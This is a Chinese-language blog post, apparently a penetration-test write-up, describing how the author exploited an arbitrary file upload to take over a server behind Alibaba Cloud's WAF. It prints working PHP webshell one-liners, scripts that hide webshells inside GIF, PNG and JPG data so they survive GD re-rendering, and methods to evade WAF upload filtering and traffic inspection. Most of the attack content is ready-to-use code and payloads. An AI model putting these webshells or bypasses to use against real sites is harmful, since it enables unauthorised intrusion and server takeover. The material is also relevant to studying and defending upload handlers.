PHP任意文件上传绕过多重限制


0x01 简介

在一次对站点进行安全测试中,遇到任意文件上传的漏洞,但是目标系统存在阿里云WAF和gd库的二次渲染,通过不断尝试绕过,最终拿下目标。

0x02 文件上传点寻找

注册登录到某系统后,在多个文件上传点进行测试,发现进行的大是白名单验证,没法上传除了多媒体文件外的其他类型。最后在修改资料位置对头像上传位置抓包,可以看到还传入了图像裁剪的参数(后续的测试把x,y都设置为0,避免对图片产生额外影响):

可以上传并返回路径,该路径可以通过拼接域名直接访问到:

修改filename类型为txt,发现可以上传成功,说明该处上传没有对文件类型进行限制,是一个潜在的getshell点:

尝试修改文件类型为php,不出意外被阿里云WAF拦截了:

0x03 文件上传云WAF绕过

在之前的测试中,已经发现头像上传位置可以进行其他类型文件上传,但是测试php文件上传时被云WAF拦截了。对云WAF的绕过主要可以依靠数据包变形、分块、去除关键字特征等。

文件类型检测绕过

测试将filename中的文件名用换行分隔即可绕过(从文件名中间找个位置,不是文件扩展名)

文件内容检测绕过

WAF还会检测内容,如存在常见的<?php就会直接拦截,经过尝试,可以使用短标签<?=phpinfo();?>、敏感函数替换加上传参分离得到payload <?=@$_=$_REQUEST;call_user_func_array('assert',array($_[_]));?>,服务端的systemerror是因为图像渲染出错的异常:

0x04 GD库渲染绕过

上面的图片在传到后台时会被php的gd库重新渲染,因为上传的文件重新下载回来md5校验对不上。将文件类型改成txt上传,查看响应包发现特征 gd-jpeg v1

看来图片是被重新渲染了,使用了php扩展gd库中的imagecreatefromjpeg()imagecreatefromstring(),imagejpeg()等函数处理。这些函数在图片渲染过程中,其实存在部分原始数据没有被修改到,不同的图片类型渲染情况也不相同,主要看后端处理后是什么类型的图片特征,上面的图片从文件头JFIF和gd-jpeg看应该是用imagejpeg()生成的。这里对gd库的渲染绕过进行一些整理。

JPG二次渲染

使用脚本jpg_payload.php来处理图片需要先在头像上传的位置上传一个正常的图片,然后再把渲染后的图片下载回来用脚本处理(脚本要求,最终图像的大小必须与原始图像相同)。脚本的原理是在将webshell编码成图像数据写入到图片的Scan Header之后,文件生成后使用gd库测试是否能正常渲染然后输出payload图片。

脚本使用前需要配置好PHP运行环境,直接到PHP官网,选择合适的包下载,我选择的是Windows下的zip压缩包:

解压完成后,到目录中看到php.ini-*的文件,选择一个重命名为php.ini,然后在其中加入extension=ext/php_gd2.dll开启gd扩展:

之后就配置下PHP的环境变量,在jpg_payload.php中加入要渲染的代码:

$miniPayload可能需要多次构造,比如在最前面加字符,中间加注释,字母大写等等,经过许久的尝试,构造出以下两个可用的payload:

在JPEG文件格式中,shell代码会放在Scan Header (00 0C 03 01 00 02 11 03 11 00 3F 00)之后:

在最终构造好的payload图片中看到shell数据确实是写在Scan Header之后的:

在burp中可以很方便的修改上传的文件,在之前的数据包右键菜单中选择从文件粘贴:

上传成txt观察响应,发现php代码没有被破坏:

改成PHP后上传,访问(没有出现语法错误或者解析错误,Deprecated是说不推荐用字符串参数来调用assert断言,因为用了call_user_func_array回调,参数1就是字符串assert):

然后测试shell执行情况,发现阿里云WAF对特征字符的拦截十分严格,执行var_dumpphpinfo马上就拦截,用PHP7特性执行(phpinfo)()会造成响应超时,应该还检测了响应数据。这里用一个没被拦截的函数die()输出数字来测试webshell执行情况:

可以看到成功执行了,说明shell还是可以用的,就是需要绕过流量特征检测,下一小节会继续对阿里云的流量检测进行绕过,完整使用webshell。这一节里继续整理下GD库对其他文件格式渲染的绕过。

GIF二次渲染

常见的方法是将GIF上传后的文件下载回来与源文件对比,找到未进行修改的部分插入PHP代码,但是操作起来很不方便。有没有类似JPG实现的自动脚本呢?在一篇博客中发现了实现方法,原脚本将生成一个纯色的GIF图,将脚本修改后可以对任意GIF文件进行代码注入:

<?php
// createGIFwithGlobalColorTable.php
$_file="example.gif";  //保存的文件名 
$_payload="00php /*123456789abcdefgh<?php 12345*/eval(\$_GET[1]);/*ijk*/eval(\$_REQUEST['11pass'])?>";   // POC
$_width=200; 
$_height=200;
if(strlen($_payload)%3!=0){
 echo "payload%3==0 !"; exit();
}
$im = imagecreate($_width, $_height); // 创建新的gif图

$im  = imagecreatefromstring(file_get_contents("SwipeTeachingCalloutImage.layoutdir-LTR.gif"));  //使用提供的Gif图

$_hex=unpack('H*',$_payload);

$colors_hex=str_split($_hex[1], 6);

for($i=0; $i < count($colors_hex); $i++){
  $_color_chunks=str_split($colors_hex[$i], 2);
  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
  imagesetpixel($im,$i,1,$color);
}
imagegif($im,$_file);
?>

经过一番尝试,找到一个合适的GIF图片,并将PHP代码写入(Payload长度达到了64,还可以继续追加):

然后将生成的example.gif文件使用GD库渲染得到新图exploit.gif

<?php
$gif = imagecreatefromgif('example.gif');
imagegif($gif, 'exploit.gif');
imagedestroy($gif);
?>

重新渲染后,完全就是一样的GIF:

最终也是达到了可以指定GIF图、指定Payload的效果。

PNG二次渲染

写入PLTE数据块

这种方式只针对索引彩色图像(index-color images)有效,使用poc_png工具写入。但是怎么看图片是否是索引彩色图像呢?可以使用Python库pillow来识别图像的模式,P就是索引彩色图像:

输出图像模式的代码实现:

#-*- coding:utf-8 -*-
from PIL import Image
path = 'input.png'
img = Image.open(path)
print(path+" mode:"+img.mode)

path = 'php.png'
img = Image.open(path)
print(path+" mode:"+img.mode)

转换图像模式到索引彩色图像:

#-*- coding:utf-8 -*-
from PIL import Image
path = 'input.png'
img = Image.open(path)
print(path+" mode:"+img.mode)

img = img.convert('P')
img.save('new.png')
print(path+" mode:"+img.mode)

通过将任意图片转换模式后写入数据到PLTE块:

写入 IDAT 数据块

可以通过php脚本实现,也可以使用其他语言实现的项目,Python:PNG-IDAT-Payload-Generator

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img);
//  php png_payload.php > 1.png 
//  <?=$_GET[0]($_POST[1]);?>,写入的webshell

其他的webshell需要通过爆破的方法得到,参考:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

0x05 云WAF流量检测绕过

上文提到在绕过JPG的二次渲染后,使用webshell的过程中,只要在流量中出现了PHP代码的特征始终会被拦截。所以在shell中还需要进行流量上的绕过,需要将请求数据编码后在webshell中解码执行。使用BASE64编码数据后的基础免杀shell为<?=@$_=$_POST;@eval(base64_decode($_[_]));,经过不断的尝试,终于构造出可用的图片:

最终payload(蚁剑中_是保留字符,所以密码修改为了d):

$miniPayload = '/sssdajkhsdajk*/<?=@$_=$_POST;$x=BASE64_DECODE($_[d]);/*hsd*/@EVAL(($x));/*ajmjikloasdk*//*hsdajk*//*';   


蚁剑的编码器用的编码器是对所有参数都base64编码(之前的流量中有很明显的PHP执行代码),返回数据也都base64:

配置编码解码:

发起的请求包如下:

最终也是使用蚁剑接管了该阿里云服务器:

查看权限:

云WAF的流量绕过也可以通过真实IP或者其他解析到站点的域名,因为管理员可能没有对所有的域名和IP走云WAF,就可以只绕过上传php文件的拦截,后面的流量检测是没有的。最开始拿到shell也是走一个加速域名(shell后查看了图片渲染处的源码,为后续直接对阿里云的POC构造省下了好多事),这里估计是开发想着所有流量都过云WAF会很慢,于是把很多静态资源放在了另外一个域名上,但是这个域名并没有受到云WAF保护,没有云WAF保护,利用上面的二次渲染绕过直接getshell:

0x06 总结

从这个实例中,研究了GIF、PNG、JPG图片二次渲染,并整理了生成工具。在漏洞点有二次渲染且存在阿里云WAF的情况下,getshell的流程方法。包括:
1.换行绕过阿里云WAF上传文件检测;
2.jpg_paylaod脚本绕过图片二次渲染;
3.webshell免杀过云WAF上传;
4.流量编码过WAF流量检测。
5.一些用到的基础PHPwebshell:

//过文件内容检测
<?=@$_=$_REQUEST;eval(array($_[_])[0]);
<?=@$_=$_POST;call_user_func_array("assert",array($_[_]));
//过文件内容和流量检测
<?=@$_=$_POST;$x=BASE64_DECODE($_[d]);@EVAL(($x));

0x07 参考

https://xz.aliyun.com/t/2657
https://aboutsc.tistory.com/204
https://secgeek.net/bookfresh-vulnerability/
https://www.sqlsec.com/2020/07/shell.html
https://rdot.org/forum/showthread.php?t=2780
https://github.com/huntergregal/PNG-IDAT-Payload-Generator
https://blog.isec.pl/injection-points-in-popular-image-formats/
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif
https://pillow.readthedocs.io/en/latest/handbook/concepts.html#modes
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
https://blog.safebuff.com/2016/06/17/Bypass-imagecopyresampled-and-imagecopyresized-generate-PHP-Webshell/


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
通过 C++ 操作注册表禁用 Windows Defender 通过 C++ 操作注册表禁用 Windows Defender
通过在安装了其他反病毒软件的前提下,通过编程实现禁用 WinDefend 的服务,随后经过一些操作可实现完全禁用WinDefend。
2022-03-07
下一篇 
DLL劫持漏洞 DLL劫持漏洞
DLL劫持是一种诱使正常的应用程序加载任意DLL的技术,通过这种技术,目标DLL将会被加载到目标程序内存中,利用目标程序身份进行代码执行、权限维持或达到权限提升的目的。
2021-11-18
  目录